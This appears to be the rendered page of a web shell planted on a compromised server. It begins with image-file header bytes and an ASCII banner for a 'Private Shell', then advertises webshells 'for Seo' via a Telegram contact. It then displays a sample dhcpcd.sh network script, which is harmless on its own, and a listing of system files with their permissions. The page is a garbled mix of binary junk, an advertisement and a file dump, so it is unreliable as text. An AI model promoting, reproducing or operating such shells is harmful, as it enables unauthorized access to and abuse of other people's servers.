����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/usr/bin/bash
#
# This is a sample /etc/dhcpcd.sh script.
# /etc/dhcpcd.sh script is executed by dhcpcd daemon
# any time it configures or shuts down interface.
# The following parameters are passed to dhcpcd.exe script:
# $1 = HostInfoFilePath, e.g "/var/lib/dhcpcd/dhcpcd-eth0.info"
# $2 = "up" if interface has been configured with the same
# IP address as before reboot;
# $2 = "down" if interface has been shut down;
# $2 = "new" if interface has been configured with new IP address;
#
# Sanity checks
if [ $# -lt 2 ]; then
logger -s -p local0.err -t dhcpcd.sh "wrong usage"
exit 1
fi
hostinfo="$1"
state="$2"
# Sourcing HostInfo file for configuration parameters
[ -e "${hostinfo}" ] && source "${hostinfo}"
case "${state}" in
up)
logger -s -p local0.info -t dhcpcd.sh \
"interface ${INTERFACE} has been configured with old IP=${IPADDR}"
# Put your code here for when the interface has been brought up with an
# old IP address here
;;
new)
logger -s -p local0.info -t dhcpcd.sh \
"interface ${INTERFACE} has been configured with new IP=${IPADDR}"
# Put your code here for when the interface has been brought up with a
# new IP address
;;
down) logger -s -p local0.info -t dhcpcd.sh \
"interface ${INTERFACE} has been brought down"
# Put your code here for the when the interface has been shut down
;;
esac
exit 0
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| dhclient-script | File | 5.41 KB | 0755 |
|
| dhcpcd.sh | File | 1.38 KB | 0755 |
|
| ifup | File | 61 B | 0755 |
|
| login | File | 1.64 KB | 0755 |
|